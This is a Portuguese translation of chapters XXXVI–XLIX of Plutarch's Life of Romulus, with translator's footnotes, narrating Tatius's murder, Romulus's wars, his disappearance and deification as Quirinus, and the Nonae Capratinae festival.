XXXVI. Entrementes, no quinto ano. do reino de Tácio, alguns de seus parentes e amigos encontraram incidentalmente em seu caminho alguns embaixadores vindos da cidade de Laurento a Roma, sôbre os quais se precipitaram e trataram de lhes tirar o seu dinheiro; e, porque êsses embaixadores não lho quisessem entregar, antes se puseram em defesa, êles os mataram. Assim cometido êsse vil delito, foi Rômulo avisado de que deviam imediatamente aplicar-lhes punição exemplar; mas Tácio a adiava, usando sempre de alguma desculpa, o que foi exclusivamente a causa de entrarem em dissensão aparente, pois até então se estavam comportando o mais honestamente possível um para com o outro, conduzindo e governando tôdas as coisas de comum acordo e consentimento. Mas os parentes daqueles que haviam sido mortos, vendo que não podiam obter justiça, por causa de Tácio, espiaram-no um dia em que êle sacrificava na cidade de Lavínio com Rômulo, e o mataram, sem nada pedir a Rômulo: antes o louvaram como príncipe direito e justiceiro. Rômulo fêz transportar o corpo de Tácio e o inumou muito honrosamente no monte Aventino, perto do lugar que se chama agora Armilústrio (30); mas, quanto ao resto, não deu mostra alguma de querer vingar-lhe a morte. Há historiadores que escrevem que os da cidade de Laurento, horrorizados com esse crime, entregaram-lhe os que o haviam cometido, mas que Rômulo os deixou ir embora, dizendo que um crime tinha sido justamente vingado por outro. Isso deu ocasião a que se dissesse e pensasse que êle ficara muito satisfeito por se ter livrado do companheiro; todavia, os Sabinos não se impressionaram com isso nem se amotinaram, ao contrário, uns pela amizade que já lhe dedicavam, outros por lhe temerem o poder e outros porque o adoravam como a um deus, perseveraram em prestar-lhe sempre tôda a honra e obediência.
XXXVII. Vários estrangeiros mesmo reverenciavam também a virtude de Rômulo, como entre outros, aquêles que então se chamavam os antigos Latinos, os quais lhe mandaram emissários e com êle trataram de fazer amizade e aliança. Êle tomou também a cidade de Fidena, que era muito vizinha de Roma; e dizem alguns que a ocupou de assalto, tendo enviado antes alguns homens a cavalo para romperem os gonzos que sustentavam as portas; e depois sobreveio com o remanescente do seu exército,
(30) Fazia-se ali uma festa e uma corrida militar no dia 19 do mês de outubro.
antes que os da cidade o suspeitassem. Escrevem outros que os Fidenatas correram e foram os primeiros a devastar seu país até aos subúrbios de Roma, onde causaram grandes males, mas que Rômulo levantou-lhes emboscadas no caminho, quando regressavam, matando grande número dēles; e assim tomou ainda sua cidade, a qual todavia não demoliu, antes fêz dela uma colônia, isto é, cidade dependente de Roma, para ali enviando dois mil e quinhentos (31 ) burgueses que a habitassem. O que fêz no dia treze do mês de abril, que os Romanos chamam de Idos. Algum tempo depois, surgiu em Roma uma peste tão violenta que os homens morriam súbita-mente, sem estarem doentes; a terra não produzia frutos, os animais não davam crias e choravam-se gotas de sangue (32) dentro da cidade; de tal maneira que, além dos males que é forçoso que os homens sintam em tais acidentes, ainda tinham êles um terror muito grande da ira e furor dos deuses. E, quando tal se viu acontecer aos habitantes da cidade de Laurento, então não houve aquêle que não julgasse que era expressa vingança divina que perseguia e afligia essas duas cidades, pelo assassínio cometido na pessoa de Tácio, e semelhantemente nas pessoas dos embaixadores que tinham sido mortos, Porque os homicídios de uma parte e de outra foram justiçados e, feita a punição, os males evidentemente cessaram em uma cidade e outra. Rômulo purificou as cidades com alguns sacrifícios de purgação, que ainda hoje se fazem (33) junto à porta que se chama Ferentina.
(31) Segundo Dionísio de Halicarnasso, Rômulo enviou somente trezentos. Êsse número parece fraco, se fôr considerado o que Plutarco narra no capítulo seguinte.
(32) Essas chuvas de sangue, tão terríveis para os antigos, são produzidas naturalmente por insetos ou por exalações tintas de vermelho, como se observou várias vêzes no último século e no presente.
XXXVÏÏÏ. Mas, antes que a pestilência cessasse, os de Camerino tinham vindo assaltar os Romanos e percorrido todo o seu país, estimando que eles não poderiam defendê-lo, por causa do inconveniente da peste que os atormentava. Todavia, Rômulo contra êles avançou incontinenti com o seu exército e os derrotou em batalha, na qual (34) morreram seis mil homens; e, tendo-lhes tomado a cidade, dela transportou para Roma a metade dos habitantes que tinham sobrado do desbarato; depois, mandou vir de Roma duas vêzes tanto o que montava o resto dos naturais Camerinos, para habitar com êles em Camerino, e foi isso feito no dia primeiro de agosto: tão grande era a multidão dé habitantes em Roma, apenas dezesseis anos após haver ela sido edificada. Mas, entre outros despojos que êle ganhou, trouxe uma carrêta de cobre a quatro cavalos, a qual mandou erigir no templo de Vulcano e pôr em cima (35) sua estátua cingida por Vitória com uma coroa de triunfo.
(33) No grego: que se fazem ainda hoje, segundo dizem. C.
(34) No grego: êle matou-lhes seis mil homens. C.
(35) A expressão grega é mais natural: e colocou sôbre êsse carro sua estátua coroada pela Vitória.
XXXIX. Tendo assim acrescido seu poder, os mais fracos dobravam-se debaixo dêle e se contentavam de com êle viver em paz; màs os poderosos tinham medo e lhe invejavam o crescimento, estimando que não seria prudente deixá-lo assim crescer a olhos vistos e que era preciso logo impedir-lhe o crescimento e aparar-lhe as asas. Os primeiros Tos-canos que para isso se esforçaram foram os Veienses, os quais dominavam um grande país e habitavam uma vasta e poderosa cidade; e, para lhe começarem a guerra, mandaram-no intimar a entregar-lhe a cidade de Fidena, como pertencente a êles; o que não somente era desarrazoado, mas também digno de sarcasmo, visto como, quando os Fidenatas se achavam em guerra e estavam em perigo, êles não os tinham socorrido; ao contrário, tinham tolerado a matança das pessoas, e depois vinham reclamar as terras quando outros a possuíam. Portanto, tendo-lhes Rômulo dado também uma resposta cheia de sarcasmo e de irrisão, êlês dividiram seu exército em dois e enviaram uma parte contra os habitantes de Fidena e com a outra foram ao encontro de Rômulo. O que avançou contra a cidade de Fidena ganhou a batalha, ali matando dois mil Romanos; mas o outro foi também derrotado por Rômulo e ali morreram oito mil homens dos Veienses,
XL. Depois, tornaram a encontrar-se ainda outra vez perto da cidade de Fidena, onde houve batalha, na qual todos confessam que a principal laçanha foi executada pela própria mão de Rômulo, o qual nesse dia mostrou ali tôda a astúcia e ousadia que poderia existir num bom capitão e pareceu haver ultrapassado grandemente o ordinário dos homens em fôrça corpórea e disposição pessoal; mas, não obstante o que a esse respeito dizem alguns, é bem difícil acreditá-lo, ou, para melhor dizer, inteiramente íora de crédito e de verossimilitude, pois escrevem que, tendo sido mortos nessa batalha catorze mil homens, mais da metade sucumbiu às próprias mãos de Rômulo, visto como todos estimam ser uma vã qabolice o que os Messenianos contam de Aristômenes (36), que ele imolou aos deuses trezentas vítimas por tantos Lacedemônios que matara numa batalha. Tendo sido pois batido o exército adversário, deixou Rômulo fugir os que apressadamente puderam salvar-se e avançou diretamente contra a sua cidade; mas os que dentro dela se achavam, após haverem sofrido tão pesada perda, não esperaram o assalto, .mtes se adiantaram com humildes súplicas, pedindo-lhe paz e aliança, que lhes foi outorgada por cem
(36) No grego: “que êle ofereceu três vêzes o sacrifício chamado Hecatônfonis, por haver matado de cada vez cem homens aos Lacedemônios.” Pausânias, Messeníacas, cap. 19. Ç,
anos, uma vez perdida como indenização boa parte de seu território, que se chama Septemagium (37), quer dizer, a sétima parte, deixadas aos Romanos as salinas junto ao rio e entregues como reféns cinqüenta dos principais entre êles. Rômulo triunfou ainda sôbre êles no dia dos idos de outubro, “que é o décimo-quinto do mês, levando em triunfo vários prisioneiros de guerra e, entre outros, o capitão-general dos Veienses, homem já ancião que loucamente se lançara à carga e mostrara com efeito ser menos experimentado nos negócios da guerra do que o requeria a sua idade. Daí vem que ainda hoje, quando se sacrifica aos deuses para render-lhes graças por alguma vitória, leva-se ao Capitólio, através da praça, um velho vestido com uma túnica de púrpura, com a baga chamada Bulla, que as criancinhas de boa casa trazem ao colo,.-e há um arauto que marcha depois, pondo em leilão os Sardos,. porque se sustenta que os Tos-canos se originaram dos Sardos (38), e a cidade de Véios está situada no país da Toscana.
XLI. Essa guerra foi a última que teve Rômulo, após a qual não pôde evitar lhe acontecesse o que costuma acontecer a quase todos aquêles que, por extraordinários favores da fortuna, são elevados a alto estado e grande poder: pois, confiando na prosperidade de seus negócios, começou a tornar-se
(37) No grego Septempagium, isto é, sete burgos, ou aldeias, ou cantões.
(38) Vide as Observações, caps XI.
presunçoso e a ter mais gravidade do que costumava antes, saindo dos têrmos de príncipe cortês e acessível a tôda a gente e desviando-se nas maneiras de fazer monarquia soberba e odiosa a cada um, primeiramente pelos hábitos e pelo porte e continência que tomou, pois trazia sempre um saio tinto de púrpura (39) e por cima uma longa túnica também de púrpura, e dava audiência sentado numa cadeira de costas inclinadas para trás, tendo sempre ao redor jovens que se chamavam Céleres, isto é, rápidos, pela grande prontidão e celeridade com que executavam suas ordens, e outros que marchavam diante dêle empunhando bastões com que faziam retirar-se a multidão do povo e cingidos de correias com que ligavam e garroteavam incontinenti os que êle mandava. Ora, os Latinos diziam antigamente ligare para ligar, mas agora dizem alligare, de onde vem que os ostiários e acólitos são chamados Lictores; todavia, parecer-me-ia verossímil dizer que houve acréscimo de um c e que antes se chamavam Litores sem c, porque são os mesmos a que os Gregos chamam Li-turgos, isto é, oficiais públicos; e ainda hoje Leitos, ou Laos, em língua grega, significa o povo.
XLIL Mas, depois que seu avô Numitor faleceu na cidade de Alba, permitindo-lhe apoderar-se do reino, como a êle pertencente por direito de
(39) O vestuário de Rômulo era o sagum de púrpura. Em cima do sagum trazia o paludamentum ou chlamys de púrpura, bordado com púrpura mais preciosa e ligado sobre o ombro.
sucessão, êle transmitiu o govêrno à comuna, assim fazendo para ganhar a graça do povo; e todos os anos elegia um magistrado para legislar e administrar justiça aos Sabinos (40). Isso ensinou os nobres de Roma a desejarem e procurarem um govêrno livre, que não estivesse sujeito ao querer de, >um só rei e onde cada um mandasse e obedecesse por seu turno. Pois os que se nomeavam Patrícios nada manejavam, antes tinham somente o nome e o hábito honroso, e se reuniam em conselho mais para constar do que para se conhecer sua opinião; pois, quando estavam reunidos, precisavam escutar o comando e a ordenança do rei sem dizer palavra, e depois se retiravam, não tendo acima do povo miúdo outra vantagem além de serem os primeiros a saber o que se fazia; e ainda lhes ficavam tôdas as outras coisas menos graves, mas quando êle próprio, com sua autoridade, distribuiu aos velhos soldados as terras conquistadas aos inimigos e entregou os reféns aos Veienses sem lhes falar sôbre isso, era manifesto que fazia grande injúria ao Senado.
XLIII. Deu isso ocasião a que os senadores fossem depois suspeitos de o haverem feito morrer, quando poucos dias após, êle desapareceu tão estranhamente que jamais se soube o que lhe sucedeu, (o que foi no sétimo dia do mês que se chama agora julho, que então se nomeava Quintilis), sem deixar
(40) É um êrro de Plutarco ou de seus copistas; é preciso corrigir: aos Albinos, ao menos um vestígio para que se pudesse assegurar de sua morte, senão o tempo, tal como dissemos; pois naquele dia (41) se fazem ainda agora muitas coisas em comemoração do acidente que então lhe adveio, E é preciso não se maravilhar demasiado da incerteza de sua morte, visto como Cipião o Africano, tendo sido após o jantar encontrado morto em sua casa, jamais se soube verificar nem saber como morrera. Pois uns dizem que, sendo doentio por compleição, desfaleceu e morreu subitamente; dizem outros que se fêz morrer êle próprio com veneno; outros cuidam que os inimigos entraram secretamente à noite em sua casa e o sufocaram no leito: todavia, ao menos se achou seu corpo bem estendido, que cada um pôde considerar à vontade, para ver se lhe encontraria algum indício pelo qual se pudesse conjecturar a maneira como teria morrido. Mas Rômulo tendo desaparecido subitamente, não se achou nem parte nenhuma de seu corpo, nem peça nenhuma de suas roupas, E, no entanto, têm alguns estimado que os senadores se precipitaram juntos sôbre êle dentro do templo de Vulcano e, após o haverem pôsto em pedaços, cada. qual levou um dentro da dobra da própria túnica.
(41) Além das cerimônias de 7 de julho, celebrava-se ainda uma festa chamada Quirinalia, em 17 de fevereiro.
XLIV. Pensam outros que essa desaparição não ocorreu dentro do templo de Vulcano, nem na presença dos senadores somente: antes dizem que Rômulo, àquela hora, estava fora da cidade, perto do lugar chamado Brejo da Cabra, onde pregava ao povo, e que de súbito o tempo mudou e se moveu o ar tão horrivelmente que não se poderia exprimi-lo nem crê-lo; pois primeiramente o sol perdeu inteiramente a luz, como se fôsse noite inteiramente negra; e as trevas não foram doces nem tranqüilas, antes houve trovões horríveis, ventos impetuosos e borrascas de todos os lados, que fizeram fugir o poviléu e o afastaram aqui e acolá, enquanto os senadores se abrigavam juntos. Depois, quando a tempestade passou, o dia ficou de novo claro e o céu sereno como antes, o povo tornou a reunir-se e pôs-se a procurar o rei e a perguntar o que lhe acontecera, mas os senhores não quiseram que êles inquirissem mais, antes os admoestaram a honrá-lo e reverenciá-lo como aquêle que fôra roubado ao céu e que, daí por diante, em lugar de bom rei, lhes seria deus propício e favorável. O poviléu, em sua maior parte, deu-se por pago e se regozijou de todo com ouvir essas notícias, passando de coração a adorar Rômulo com boa esperança; mas houve alguns que, investigando áspera e acremente a verdade do fato, muito perturbaram os patrícios, exigindo-lhes que absolvessem a rude multidão de vãs e loucas persuasões, por isso que êles mesmos com suas próprias mãos é que haviam assassinado o rei.
XLV. Estando pois as coisas nessa perturbação, dizem que houve um dos mais nobres patrícios, Júlio Próculo, muito estimado como homem de bem e que havia sido grande amigo familiar de Rômulo, tendo vindo da cidade de Alba com êle, que se apresentou na praça a todo o povo e afirmou, pelos maio res e mais santos juramentos que se poderiam fazer, que encontrara Rômulo em seu caminho, maior o mais belo do que jamais o vira, vestido de branco com armaduras claras e luzentes como fogo, e que, aterrorizado por vê-lo em tal estado, lhe pergun tara: «Majestade, por que crime nosso e com qim intenção nos deixaste expostos às falsas calúnias imputações iníquas que nos tornaram suspeitos por tua partida? e por que abandonaste tua cidade órl.i em luto infinito?» Ao que Rômulo lhe respondem «Próculo aprouve aos deuses, dos quais eu viera, que-eu ficasse entre os homens tanto tempo quanto fiqtin e que, após haver construído uma cidade, que cm glória e em grandeza de império será um dia a primeira do mundo, voltasse a morar, como antes, no céu. Portanto, faze boa cara e dize aos Romano-, que, exercendo proeza e temperança, atingirão o cimo da potência humana; e, quanto a mim, eu serei doravante vosso deus protetor e patrono, que chamareis de Quirino.» Essas palavras pareceram críveis aos Romanos, tanto pelos costumes daquele qti< as dizia como pelo grande juramento que fizera, m;r; ainda houve não sei que emoção celeste, semelhante a uma inspiração divina, que a isso ajudou: pois ninguém o contradisse, ao contrário, foram esquecidas as suspeitas e calúnias e cada qual se pôs a invocar, suplicar e adorar Quirino.
XLVI. Êsses discursos certamente se parecem muito com o que os Gregos contam de Arísteas de Proconeso e de Cleômedes de Astipaléia: pois dizem que Arísteas morreu na oficina de um pisoeiro e que os amigos vieram para levar-lhe o corpo, mas não se soube o que lhe aconteceu e, naquela mesma hora, houve algumas pessoas voltando dos campos que afirmaram havê-lo encontrado e ter falado com êle, que estava a caminho da cidade de Crotona. Dizem também que Cleômedes foi homem de tamanho e fôrça fora do natural, mas além disso irascível e insensato: pois, após haver feito várias outras violências, finalmente entrou um dia numa escola cheia de crianças, cuja cumeeira era sustentada por um pilar, e deu com a mão contra o pilar tão grande golpe que o rompeu pelo meio, de tal maneira que tôda a cobertura caiu, esmagou e matou tôdas as crianças. Correram incontinenti atrás dêle para o prenderem, mas êle se atirou dentro de um grande cofre, que fechou sôbre si e segurou a tampa por dentro tão firme que vários juntos, tendo-se esforçado para abri-lo, absolutamente nada puderam fazer; razão por que romperam todo o cofre, mas, quando êste ficou em pedaços, não encontraram o homem dentro, nem vivo nem morto; com o que ficaram muito espantados e se dirigiram a Apoio Pítico, cuja profetisa lhes respondeu êste verseto:
Dos semideuses o último, Cleômedes.
XLVII. Diz-se também que o corpo de Alcmena desapareceu quando o levavam para a sepultura e que, em seu lugar, encontraram uma pedra dentro do leito. Em suma, contam os homens várias outras maravilhas tais, onde não há aparência nenhuma de verdade, querendo deificar a natureza humana e associá-la com os deuses. É bem verdade que seria vil e mau reprovar e negar a divindade da virtude; mas também querer misturar a terra com o céu seria grande tolice. Portanto, é preciso deixar aí tais fábulas, sendo coisa bem segura o que diz Píndaro:
O corpo morre, certamente:
Viva fica a alma, tão-somente,
Como sinal da eternidade.
Pois veio do céu e para lá retorna, não com o corpo, mas antes quando, mais distanciada e separada do corpo, está nítida e santa, nada mais possuindo da carne. É o que desejava dizer o filósofo Heráclito, quando afirmava que a (42) luz sêca é a melhor alma, que se evola fora do corpo, nem mais nem menos que o raio fora da nuvem; mas aquela que se destempera com o corpo, cheia de paixões corporais, é como um vapor grosseiro, pesado e tenebroso, que não se. pode inflamar nem elevar. Portanto, não há necessidade de querer, contra a natureza, enviar ao céu os corpos dos homens virtuosos, juntamente com as almas; mas é preciso estimar e crer firmemente que suas virtudes e suas almas, segundo a natureza e segundo a justiça divina, os tornam, de homens, santos; e de santos, semideuses; e de semideuses, após terem sido nitidificados e purificados perfeitamente, como nos sacrifícios de purgação, estando livres de tôda possibilidade e de tôda mortalidade, tornam-se, não por nenhuma ordenança civil, mas em verdade e segundo razão verossímil, deuses completos e perfeitos, recebendo um fim muito feliz e muito glorioso.
(42) No grego: a alma sêca é a melhor alma. C.
XLVIII. Em suma, quanto ao sobrenome de Rômulo, que depois foi chamado Quirino, dizem uns que significa tanto como belicoso; outros sustentam que foi assim chamado porque os próprios Romanos se chamaram Quirites. Escrevem outros que os antigos davam à ponta de um dardo ou ao próprio dardo o nome de Quiris: em razão do que a estátua de Juno sobrenomeada Quirítide estava assentada sôbre um ferro de lança, e a lança consagrada ao palácio real se chamava Mars; e, mais, que àqueles que numa batalha cumprem bem o dever era costume honrar dan-do-lhes uma lança ou um dardo; e que, por essas razões, Rômulo foi sobrenomeado Quirino, como quem dissesse deus das armas e das batalhas. Edificaram-lhe depois um templo no monte que, por isso, se denomina Quirinalis; e o dia em que desapareceu se chama a Fuga do povo (43), ou de outro modo as Nonas Capratinas, porque se vai nesse dia fora da cidade sacrificar no lugar chamado Brejo da Cabra; e os Romanos chamam à cabra Capra e, indo ali, se acostumaram a chamar com altos gritos vários nomes romanos, como Marco, Cneu, Gaio, em lembrança da fuga que houve então e do modo por que entre si se chamaram uns aos outros, fugindo com grande pavor e em grande confusão.
XLIX. Todavia, dizem outros que isso não se faz para representação de fuga, mas de pressa e diligência, relacionando-o à seguinte história: depois que os Gauleses tomaram Roma e foram dali expulsos por Camilo, a cidade ficou tão debilitada que mal podia convalescer e manter-se de pé: razão por que vários povos se aliaram e, com grande e poderoso exército, foram atacar os Romanos, tendo por capitão Lívio Postúmio, o qual foi acampar o mais perto possível da cidade de Roma e mandou, por uma trombeta, fazer saber aos Romanos que os Latinos queriam, por novos casamentos, renovar e refrescar a antiga aliança e parentesco existente entre êles, porque já começava a enfraquecer; e, portanto, se os Romanos quisessem enviar-lhes algum número de suas filhas casadouras ou de suas jovens mulheres, viúvas, teriam paz e amizade com êle, como por êsse meio tiveram outrora com os Sabinos.
(43) A festa chamada Poplifugium é marcada para o dia 5 de julho nos antigos calendários.
Os Romanos, ouvidas tais notícias, ficaram bastante desgostosos, estimando que entregar assim suas mulheres não seria outra coisa senão render-se e submeter-se à mercê dos inimigos; mas, quando estavam nessa perplexidade, uma serva chamada Filótis, ou, como outros lhe chamam, Tutola aconselhou-os a não fazerem nem uma coisa nem outra, antes usassem de um ardil mediante o qual escapariam ao perigo da guerra e não ficariam empenhados nem obrigados por meio de reféns. Consistia o ardil em que ela, enviada com certo número de outras escravas, as mais belas, enfeitadas como burguesas e filhas de boa casa, à noite lhes levantaria no ar um archote alumiado, a cujo sinal êles viriam armados atacar os inimigos, quando êstes estivessem dormindo» O que foi feito. Os Latinos cuidaram fossem verdadeiramente as filhas dos Romanos; e Filótis não deixou, à noite, de lhes erguer no ar e lhes mostrar um archote ardente de cima de uma figueira selvagem, estendendo atrás alguns tapêtes e coberturas, a fim de que os inimigos não pudessem ver-lhes a luz e ao contrário, os Romanos a vissem mais claramente. Logo, pois, que o perceberam, saíram com diligência, chamando-se entre si várias vêzes uns aos outros por seus nomes, ao passarem as portas da cidade, pela grande pressa que tinham, e foram surpreender os inimigos de improviso, derrotando-os: em memória da qual derrota, solenizam ainda essa festa a que.chamam Nonas Capratinas, por causa da figueira selva-gem que em latim se chama Caprificus, e festejam as damas fora da cidade, sob ramadas feitas com galhos de figueira; e as servas procuram, andando de um lado para outro, e brincam juntas, depois se batem entre si e atiram pedras umas às outras, assim como quando socorreram os Romanos que combatiam; mas poucos historiadores aprovam êsse relato. E, por estar esclarecido que êles chamam assim os nomes uns dos outros e que vão ao lugar que se denomina Brejo da Cabra como a um sacrifício, isso parece convir melhor à primeira história, não sendo por acaso que os dois episódios ocorreram em diversos anos no mesmo dia. Em suma, diz-se que Rômulo desapareceu dentre os homens com a idade de cinqüenta e quatro anos, no trigésimo-oitavo de seu reino. (44)
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